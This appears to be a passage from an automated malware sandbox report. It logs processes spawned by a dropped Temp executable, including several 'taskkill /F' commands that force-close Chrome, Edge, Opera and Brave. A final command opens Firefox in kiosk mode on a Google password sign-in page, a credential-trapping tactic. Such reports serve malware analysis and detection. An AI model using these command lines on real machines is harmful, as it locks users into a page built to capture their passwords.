Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	48
Start time:	16:08:22
Start date:	19/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	49
Start time:	16:08:31
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe"
Imagebase:	0xca0000
File size:	2'766'848 bytes
MD5 hash:	333B260426A661DCADD5C016AB149ECB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	50
Start time:	16:08:32
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x650000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	51
Start time:	16:08:32
Start date:	19/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	52
Start time:	16:08:33
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x650000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	53
Start time:	16:08:33
Start date:	19/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	54
Start time:	16:08:34
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x650000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	55
Start time:	16:08:34
Start date:	19/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	56
Start time:	16:08:35
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	57
Start time:	16:08:35
Start date:	19/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	58
Start time:	16:08:35
Start date:	19/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false